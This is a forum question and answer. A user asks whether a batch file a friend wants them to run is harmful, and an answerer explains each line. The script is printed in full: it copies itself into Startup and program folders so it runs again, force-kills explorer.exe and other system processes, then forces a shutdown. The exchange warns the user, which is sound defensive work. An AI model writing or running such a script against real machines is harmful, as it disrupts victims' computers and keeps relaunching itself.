computing
  • 0

Evil Batch File.

  • 0

Is this batch file evil? or is it stupid? i know nothing about them and im wondering why my mate wants me to run it so badly.

the code is:

@echo off
copy %0 “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”
start “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\copy.bat”
copy %0 “C:\Program Files\Internet Explorer\en-US”
start “C:\Program Files\Internet Explorer\en-US\copy.bat”
taskkill /f /im “explorer.exe”
taskkill /f /im “taskeng.exe”
taskkill /f /im “rundll32.exe”
Shutdown /s /f /t 5

Share

1 Answer

  1. Here’s a breakdown:

    @echo off
    
    Doesn't show you what it's doing, most batch files have this at the start.
    
    copy %0 "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
    
    I "believe" that this is copying itself to your startup folder.
    
    start "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\copy.bat"
    
    Starting itself, assuming you named it copy.bat..., but you didnt, then this wont work.
    
    copy %0 "C:\Program Files\Internet Explorer\en-US"
    start "C:\Program Files\Internet Explorer\en-US\copy.bat"
    
    Starting and copying itself again, but this time to your internet explorer folder... =/
    
    taskkill /f /im "explorer.exe"
    taskkill /f /im "taskeng.exe"
    taskkill /f /im "rundll32.exe"
    
    Shutting down essential windows components,
    
    Shutdown /s /f /t 5
    
    And finally, shuts down your computer.
    

    Nice friend you have there…

    • 0